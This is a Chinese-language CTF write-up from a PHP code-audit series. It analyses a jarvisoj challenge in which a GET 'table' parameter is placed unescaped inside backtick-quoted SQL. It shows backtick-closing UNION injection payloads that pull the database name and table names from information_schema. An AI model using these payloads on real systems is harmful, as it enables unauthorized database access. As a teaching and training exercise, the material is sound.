PHP程式碼審計分段講解(13)
<?php require("config.php"); $table = $_GET['table']?$_GET['table']:"test"; $table = Filter($table); mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker(); $sql = "select 'flag{xxx}' from secret_{$table}"; $ret = sql_query($sql); echo $ret[0]; ?>
題目源自jarvisoj平臺,環境在:
我們直接開始進行程式碼審計
包含config.php檔案
require("config.php");
使用GET方式傳入table,賦值給table,預設為test
接著對table進行過濾
$table = Filter($table);
這裡的Filter函式是我們不知道的,不過不影響程式碼審計
接著是
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
該行程式碼的意思為:
當mysqli_query()函式執行成功,則不呼叫Hacker()函式
當mysqli_query()函式執行失敗,則呼叫Hacker()函式
對於mysqli_query函式的解釋:
mysqli_query() 函式執行某個針對資料庫的查詢。//定義 mysqli_query(connection,query,resultmode);//語法
也就是說對連結的資料庫執行desc 查詢,我們又知道desc是用來查詢表的結構的,如圖:
又有:
從上圖中可以看出來有:
desc xxx xxx;
desc `xxx` `xxx`
desc 'xxx' 'xxx'
desc "xxx" "xxx"
語句一和語句二是同樣的效果,能夠正常執行
語句三河語句四是同樣的效果,均無法正常執行,所以我們通過閉合反引號來進行SQL語句的注入。
關於反引號,有:https://blog.csdn.net/u012546526/article/details/44568849
反引號 ` 在mysql中是為了區分mysql中的保留字元與普通字元而引入的符號
例如,如果test表中存在一個 from 欄位,,當我們查詢內容時,就需要使用反引號,以防使用保留字元而報錯
select `from` from test
接下來的程式碼是一段SQL語句查詢,並且輸出第一個結果:
$ret = sql_query($sql); echo $ret[0];
我們閉合反引號進行注入:
預設為:
desc `secret_test` select 'flag{xxx}' from secret_test
查詢資料庫為:
desc `secret_test` `union select database() limit 1,1 select 'flag{xxx}' from secret_test` `union select database() limit 1,1
得知資料庫為:
61d300
獲取表
desc `secret_test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1 select 'flag{xxx}' from secret_test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1
得知表為
secret_flag,secret_test
後面的注入不再贅述。
提一下這個部分:
select 'flag{xxx}' from secret_test` `union select database() limit 1,1
這裡的
secret_test` `union
關於中間的翻譯好為什麼沒有影響到語句的執行,個人認為是因為兩個反引號相當於了空格,後面的語句同理。
再提一下這個部分:
limit 1,1
因為可以看到程式碼最後是:
echo $ret[0];
因為只輸出$ret[0],正常輸出的話就是 flag{xxx},所以我們使用 limit 控制輸出。
參考連結: